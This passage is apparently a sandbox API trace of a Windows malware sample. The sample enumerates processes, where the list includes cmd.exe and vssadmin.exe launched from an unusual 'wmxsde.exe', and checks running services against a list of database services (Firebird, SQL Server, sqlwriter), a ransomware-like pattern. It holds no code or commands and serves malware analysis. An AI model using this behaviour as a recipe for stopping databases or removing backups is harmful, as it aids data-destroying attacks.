pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.121] lstrlenW (lpString="svchost.exe") returned 11 [0185.121] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0185.122] lstrlenW (lpString="dwm.exe") returned 7 [0185.122] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.122] lstrlenW (lpString="svchost.exe") returned 11 [0185.122] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.123] lstrlenW (lpString="svchost.exe") returned 11 [0185.123] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.124] lstrlenW (lpString="svchost.exe") returned 11 [0185.124] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.125] lstrlenW (lpString="svchost.exe") returned 11 [0185.125] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.126] lstrlenW (lpString="svchost.exe") returned 11 [0185.126] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.127] lstrlenW (lpString="svchost.exe") returned 11 [0185.127] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.128] lstrlenW (lpString="svchost.exe") returned 11 [0185.128] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.129] lstrlenW (lpString="svchost.exe") returned 11 [0185.129] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.130] lstrlenW (lpString="svchost.exe") returned 11 [0185.130] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.285] lstrlenW (lpString="svchost.exe") returned 11 [0185.285] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0185.286] lstrlenW (lpString="spoolsv.exe") returned 11 [0185.286] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.287] lstrlenW (lpString="svchost.exe") returned 11 [0185.287] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0185.288] lstrlenW (lpString="audiodg.exe") returned 11 [0185.288] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0185.289] lstrlenW (lpString="taskhostw.exe") returned 13 [0185.290] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0185.290] lstrlenW (lpString="sihost.exe") returned 10 [0185.291] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.291] lstrlenW (lpString="svchost.exe") returned 11 [0185.291] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0185.292] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0185.292] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0185.293] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0185.293] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0185.294] lstrlenW (lpString="Memory Compression") returned 18 [0185.294] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0185.295] lstrlenW (lpString="taskhostw.exe") returned 13 [0185.295] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0185.296] lstrlenW (lpString="msoia.exe") returned 9 [0185.296] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0185.297] lstrlenW (lpString="explorer.exe") returned 12 [0185.297] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0185.298] lstrlenW (lpString="SearchUI.exe") returned 12 [0185.298] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0185.299] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0185.299] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0185.300] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0185.300] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0185.301] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0185.301] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0185.302] lstrlenW (lpString="wmxsde.exe") returned 10 [0185.302] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0185.303] lstrlenW (lpString="cmd.exe") returned 7 [0185.303] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0185.304] lstrlenW (lpString="conhost.exe") returned 11 [0185.304] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0185.306] lstrlenW (lpString="consent.exe") returned 11 [0185.306] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0185.307] lstrlenW (lpString="vssadmin.exe") returned 12 [0185.307] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0185.308] CloseHandle (hObject=0x388) returned 1 [0185.308] Sleep (dwMilliseconds=0x1f4) [0186.022] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f538 [0186.023] EnumServicesStatusExW (in: hSCManager=0x459f538, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0186.024] GetLastError () returned 0xea [0186.024] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x4661fb8 [0186.028] EnumServicesStatusExW (in: hSCManager=0x459f538, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4661fb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4661fb8, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0186.029] CloseServiceHandle (hSCObject=0x459f538) returned 1 [0186.029] lstrlenW (lpString="Appinfo") returned 7 [0186.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0186.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0186.029] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0186.029] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0186.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0186.030] lstrlenW (lpString="AppXSvc") returned 7 [0186.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0186.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0186.030] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0186.030] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0186.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0186.030] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0186.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0186.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0186.030] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0186.030] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0186.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0186.030] lstrlenW (lpString="Audiosrv") returned 8 [0186.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0186.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0186.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0186.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0186.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0186.030] lstrlenW (lpString="BFE") returned 3 [0186.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0186.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0186.030] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0186.031] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0186.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0186.031] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0186.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0186.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0186.031] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0186.031] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0186.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0186.031] lstrlenW (lpString="CDPSvc") returned 6 [0186.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0186.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0186.031] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0186.031] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0186.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0186.031] lstrlenW (lpString="ClickToRunSvc") returned 13 [0186.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0186.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0186.031] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0186.031] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0186.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0186.031] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0186.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0186.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0186.032] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0186.032] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0186.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0186.032] lstrlenW (lpString="CryptSvc") returned 8 [0186.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0186.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0186.032] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0186.032] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0186.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0186.032] lstrlenW (lpString="DcomLaunch") returned 10 [0186.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0186.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0186.032] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0186.032] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0186.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0186.032] lstrlenW (lpString="DeviceAssociationService") returned 24 [0186.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0186.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0186.032] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0186.033] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0186.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0186.033] lstrlenW (lpString="Dhcp") returned 4 [0186.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0186.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0186.033] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0186.033] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0186.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0186.033] lstrlenW (lpString="Dnscache") returned 8 [0186.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0186.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0186.033] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0186.033] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0186.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0186.033] lstrlenW (lpString="DPS") returned 3 [0186.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0186.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0186.033] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0186.033] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0186.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0186.033] lstrlenW (lpString="DusmSvc") returned 7 [0186.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0186.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0186.034] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0186.034] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0186.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0186.034] lstrlenW (lpString="EventLog") returned 8 [0186.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0186.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0186.034] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0186.034] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0186.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0186.034] lstrlenW (lpString="EventSystem") returned 11 [0186.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0186.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0186.034] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0186.034] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0186.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0186.034] lstrlenW (lpString="FontCache") returned 9 [0186.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0186.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0186.034] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0186.034] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0186.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0186.035] lstrlenW (lpString="gpsvc") returned 5 [0186.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0186.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0186.035] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0186.035] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0186.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0186.035] lstrlenW (lpString="iphlpsvc") returned 8 [0186.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0186.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0186.035] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0186.035] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0186.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0186.035] lstrlenW (lpString="KeyIso") returned 6 [0186.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0186.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0186.035] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0186.035] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0186.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0186.035] lstrlenW (lpString="LanmanServer") returned 12 [0186.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0186.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0186.125] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0186.125] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0186.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0186.125] lstrlenW (lpString="LanmanWorkstation") returned 17 [0186.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0186.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0186.125] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0186.125] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0186.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0186.126] lstrlenW (lpString="lfsvc") returned 5 [0186.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0186.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0186.126] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0186.126] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0186.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0186.126] lstrlenW (lpString="lmhosts") returned 7 [0186.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0186.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0186.126] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0186.126] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0186.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0186.126] lstrlenW (lpString="LSM") returned 3 [0186.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0186.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0186.126] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0186.126] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0186.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0186.127] lstrlenW (lpString="MpsSvc") returned 6 [0186.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 